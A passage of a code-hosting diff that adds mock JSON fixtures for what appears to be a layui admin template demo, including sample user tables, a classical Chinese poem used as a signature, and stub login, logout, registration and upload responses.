,"sign": "君不见,黄河之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐,会须一饮三百杯。 岑夫子,丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。(倾耳听 一作:侧耳听) 钟鼓馔玉不足贵,但愿长醉不复醒。(不足贵 一作:何足贵;不复醒 一作:不愿醒/不用醒) 古来圣贤皆寂寞,惟有饮者留其名。(古来 一作:自古;惟 通:唯) 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10003"
|
||||
,"username": "王勃"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "65"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10004"
|
||||
,"username": "李清照"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "666"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10005"
|
||||
,"username": "冰心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "86"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10006"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10007"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "16"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10008"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "106"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
|
||||
{"code":0,"msg":"","count":1000,"data":[{"id":10000,"username":"user-0","sex":"女","city":"城市-0","sign":"签名-0","experience":255,"logins":24,"wealth":82830700,"classify":"作家","score":57},{"id":10001,"username":"user-1","sex":"男","city":"城市-1","sign":"签名-1","experience":884,"logins":58,"wealth":64928690,"classify":"词人","score":27},{"id":10002,"username":"user-2","sex":"女","city":"城市-2","sign":"签名-2","experience":650,"logins":77,"wealth":6298078,"classify":"酱油","score":31},{"id":10003,"username":"user-3","sex":"女","city":"城市-3","sign":"签名-3","experience":362,"logins":157,"wealth":37117017,"classify":"诗人","score":68},{"id":10004,"username":"user-4","sex":"男","city":"城市-4","sign":"签名-4","experience":807,"logins":51,"wealth":76263262,"classify":"作家","score":6},{"id":10005,"username":"user-5","sex":"女","city":"城市-5","sign":"签名-5","experience":173,"logins":68,"wealth":60344147,"classify":"作家","score":87},{"id":10006,"username":"user-6","sex":"女","city":"城市-6","sign":"签名-6","experience":982,"logins":37,"wealth":57768166,"classify":"作家","score":34},{"id":10007,"username":"user-7","sex":"男","city":"城市-7","sign":"签名-7","experience":727,"logins":150,"wealth":82030578,"classify":"作家","score":28},{"id":10008,"username":"user-8","sex":"男","city":"城市-8","sign":"签名-8","experience":951,"logins":133,"wealth":16503371,"classify":"词人","score":14},{"id":10009,"username":"user-9","sex":"女","city":"城市-9","sign":"签名-9","experience":484,"logins":25,"wealth":86801934,"classify":"词人","score":75}]}
|
||||
@@ -0,0 +1,2 @@
|
||||
|
||||
{"code":0,"msg":"","count":1000,"data":[{"id":10000,"username":"user-0","sex":"女","city":"城市-0","sign":"签名-0","experience":255,"logins":24,"wealth":82830700,"classify":"作家","score":57},{"id":10001,"username":"user-1","sex":"男","city":"城市-1","sign":"签名-1","experience":884,"logins":58,"wealth":64928690,"classify":"词人","score":27},{"id":10002,"username":"user-2","sex":"女","city":"城市-2","sign":"签名-2","experience":650,"logins":77,"wealth":6298078,"classify":"酱油","score":31},{"id":10003,"username":"user-3","sex":"女","city":"城市-3","sign":"签名-3","experience":362,"logins":157,"wealth":37117017,"classify":"诗人","score":68},{"id":10004,"username":"user-4","sex":"男","city":"城市-4","sign":"签名-4","experience":807,"logins":51,"wealth":76263262,"classify":"作家","score":6},{"id":10005,"username":"user-5","sex":"女","city":"城市-5","sign":"签名-5","experience":173,"logins":68,"wealth":60344147,"classify":"作家","score":87},{"id":10006,"username":"user-6","sex":"女","city":"城市-6","sign":"签名-6","experience":982,"logins":37,"wealth":57768166,"classify":"作家","score":34},{"id":10007,"username":"user-7","sex":"男","city":"城市-7","sign":"签名-7","experience":727,"logins":150,"wealth":82030578,"classify":"作家","score":28},{"id":10008,"username":"user-8","sex":"男","city":"城市-8","sign":"签名-8","experience":951,"logins":133,"wealth":16503371,"classify":"词人","score":14},{"id":10009,"username":"user-9","sex":"女","city":"城市-9","sign":"签名-9","experience":484,"logins":25,"wealth":86801934,"classify":"词人","score":75},{"id":10010,"username":"user-10","sex":"女","city":"城市-10","sign":"签名-10","experience":1016,"logins":182,"wealth":71294671,"classify":"诗人","score":34},{"id":10011,"username":"user-11","sex":"女","city":"城市-11","sign":"签名-11","experience":492,"logins":107,"wealth":8062783,"classify":"诗人","score":6},{"id":10012,"username":"user-12","sex":"女","city":"城市-12","sign":"签名-12","experience":106,"logins":176,"wealth":42622704,"classify":"词人","score":54},{"id":10013,"username":"user-13","sex":"男","city":"城市-13","sign":"签名-13","experience":1047,"logins":94,"wealth":59508583,"classify":"诗人","score":63},{"id":10014,"username":"user-14","sex":"男","city":"城市-14","sign":"签名-14","experience":873,"logins":116,"wealth":72549912,"classify":"词人","score":8},{"id":10015,"username":"user-15","sex":"女","city":"城市-15","sign":"签名-15","experience":1068,"logins":27,"wealth":52737025,"classify":"作家","score":28},{"id":10016,"username":"user-16","sex":"女","city":"城市-16","sign":"签名-16","experience":862,"logins":168,"wealth":37069775,"classify":"酱油","score":86},{"id":10017,"username":"user-17","sex":"女","city":"城市-17","sign":"签名-17","experience":1060,"logins":187,"wealth":66099525,"classify":"作家","score":69},{"id":10018,"username":"user-18","sex":"女","city":"城市-18","sign":"签名-18","experience":866,"logins":88,"wealth":81722326,"classify":"词人","score":74},{"id":10019,"username":"user-19","sex":"女","city":"城市-19","sign":"签名-19","experience":682,"logins":106,"wealth":68647362,"classify":"词人","score":51},{"id":10020,"username":"user-20","sex":"男","city":"城市-20","sign":"签名-20","experience":770,"logins":24,"wealth":92420248,"classify":"诗人","score":87},{"id":10021,"username":"user-21","sex":"男","city":"城市-21","sign":"签名-21","experience":184,"logins":131,"wealth":71566045,"classify":"词人","score":99},{"id":10022,"username":"user-22","sex":"男","city":"城市-22","sign":"签名-22","experience":739,"logins":152,"wealth":60907929,"classify":"作家","score":18},{"id":10023,"username":"user-23","sex":"女","city":"城市-23","sign":"签名-23","experience":127,"logins":82,"wealth":14765943,"classify":"作家","score":30},{"id":10024,"username":"user-24","sex":"女","city":"城市-24","sign":"签名-24","experience":212,"logins":133,"wealth":59011052,"classify":"词人","score":76},{"id":10025,"username":"user-25","sex":"女","city":"城市-25","sign":"签名-25","experience":938,"logins":182,"wealth":91183097,"classify":"作家","score":69},{"id":10026,"username":"user-26","sex":"男","city":"城市-26","sign":"签名-26","experience":978,"logins":7,"wealth":48008413,"classify":"作家","score":65},{"id":10027,"username":"user-27","sex":"女","city":"城市-27","sign":"签名-27","experience":371,"logins":44,"wealth":64419691,"classify":"诗人","score":60},{"id":10028,"username":"user-28","sex":"女","city":"城市-28","sign":"签名-28","experience":977,"logins":21,"wealth":75935022,"classify":"作家","score":37},{"id":10029,"username":"user-29","sex":"男","city":"城市-29","sign":"签名-29","experience":647,"logins":107,"wealth":97450636,"classify":"酱油","score":27}]}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0,
|
||||
"msg": "",
|
||||
"data": {
|
||||
"src": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "登入成功"
|
||||
,"data": {
|
||||
"access_token": "c262e61cd13ad99fc650e6908c7e5e65b63d2f32185ecfed6b801ee3fbdd5c0a"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "退出成功"
|
||||
,"data": null
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": "注册成功"
|
||||
,"data": {
|
||||
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user